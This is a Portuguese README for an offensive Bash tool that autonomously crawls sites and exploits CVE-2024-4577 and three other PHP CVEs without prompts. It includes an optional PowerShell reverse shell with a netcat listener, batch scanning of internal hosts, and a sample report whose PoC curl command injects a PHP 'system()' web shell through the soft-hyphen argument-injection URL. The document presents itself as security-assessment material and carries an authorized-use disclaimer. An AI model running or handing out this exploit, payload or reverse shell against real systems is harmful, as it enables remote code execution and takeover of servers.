🚀 PHP CVE Autopilot

Detecção e exploração automatizada de vulnerabilidades críticas do PHP (bypass CVE-2024-4577, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)

PHP8.1.x_Exploit.sh é uma ferramenta de avaliação de segurança de arquivo único e zero configuração que descobre automaticamente endpoints PHP vulneráveis e explora quatro CVEs de alto impacto que afetam versões do PHP anteriores a 8.1.34 (lançada em dezembro de 2024). Não requer nenhuma criação manual de payload – basta fornecer uma URL e o script faz o resto, desde o rastreamento até a execução remota de código. Totalmente autopilot – detecta e explora automaticamente sem prompts do usuário.

Funcionalidades

• Piloto automático totalmente autônomo – dada uma única URL, ele rastreia, identifica, testa e explora sem interação do usuário.
• Escaneamento em lote – forneça uma lista de alvos e execute em paralelo.
• Rastreamento avançado – extrai links e formulários da página inicial para melhor descoberta.
• Identificação de SO e versão do PHP – evita ataques exclusivos do Windows no Linux, verifica a versão do PHP.
• Bypass CVE-2024-4577 (injeção de argumento CGI no Windows)
  • Detecta e explora endpoints PHP-CGI vulneráveis.
  • Reverse shell opcional (PowerShell one‑liner).
  • Dois sabores de injeção: padrão -d e bypass com hífen soft %AD.
• CVE-2025-14177 – vazamento de memória heap via getimagesize()
  • Cria dinamicamente um JPEG malformado e o submete automaticamente a qualquer endpoint de upload descoberto.
  • Detecta memória vazada nas respostas.
• Escaneamento local profundo via RCE (quando o CVE-2024-4577 é explorado)
  • Envia um scanner PHP leve que testa:
    • CVE-2025-14180 – desreferência de ponteiro NULL no PDO PostgreSQL.
    • CVE-2025-14178 – estouro de inteiro em array_merge.
• Rastreamento inteligente – extrai links e formulários para descobrir scripts CGI e páginas de upload.
• Execução paralela – usa parallel se disponível, e falha graciosamente caso contrário.
• Modos verbose e debug – veja cada requisição HTTP e decisão.
• Geração de relatório – salva todas as descobertas em um arquivo de texto.
• Limpo e seguro – arquivos temporários destruídos ao sair, timeouts evitam travamentos.

Requisitos

Nenhum privilégio de root necessário – a ferramenta apenas envia requisições HTTP e opcionalmente executa um reverse shell (requer um listener na sua máquina).

Instalação

git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh

Uso

Alvo único (mais comum)

./PHP8.1.x_Exploit.sh -u http://target.example.com

Alvo único com reverse shell (CVE-2024-4577)

./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444

Então na sua máquina:

nc -lvnp 4444

Escaneamento em lote de múltiplos alvos

./PHP8.1.x_Exploit.sh -l targets.txt --threads 10

Exemplo targets.txt:

http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com

Modo apenas escaneamento (sem tentativas de exploração)

./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only

Salvar relatório em arquivo

./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt

Saída verbose / debug

./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug   # muito ruidoso

Como funciona (fases)

Opções de linha de comando (referência completa)

CVEs cobertos em detalhes

Nota: CVE‑2025‑14180 e CVE‑2025‑14178 só podem ser detectados com precisão de dentro do servidor (testes locais). O script faz isso enviando um scanner após um exploit CGI bem-sucedido.

📸 Exemplo de saída

[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)

===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================

⚠️ Avisos importantes e disclaimer

• Modo autopilot – A ferramenta explora vulnerabilidades automaticamente sem prompts. Use apenas em alvos autorizados.
• Uso legal apenas – Esta ferramenta destina-se a avaliações de segurança autorizadas, testes de penetração e fins educacionais. Usá-la contra sistemas sem permissão é ilegal na maioria das jurisdições.
• Sem garantia – O software é fornecido "COMO ESTÁ", sem garantias de qualquer tipo.
• Potencial para danos – Exploits podem derrubar serviços (CVE-2025-14180) ou corromper memória (CVE-2025-14178). Não execute em sistemas de produção sem consentimento explícito.
• Reverse shell – A opção --revshell abre um socket do alvo para sua máquina. Certifique-se de que tem o direito de conectar de volta.
• Registro – Suas requisições aparecerão nos logs de acesso/erro do alvo. Use com responsabilidade.

🛠️ Solução de problemas

🤝 Contribuindo

Pull requests, relatórios de bugs e sugestões de funcionalidades são bem-vindos. Por favor, siga:

• Mantenha o script de arquivo único e Bash puro.
• Teste com e sem parallel.
• Atualize este README conforme necessário.

📜 Licença

GNU General Public License v3.0 – veja o arquivo LICENSE.

📚 Referências

• Anúncio de lançamento do PHP 8.1.34
• Detalhe do CVE-2024-4577 (NVD)
• CVE-2025-14177 / 14178 / 14180 (NVD)
• Mapeamento de caracteres Best-Fit do Windows

Feito com 🧠 para a comunidade de segurança. Use eticamente.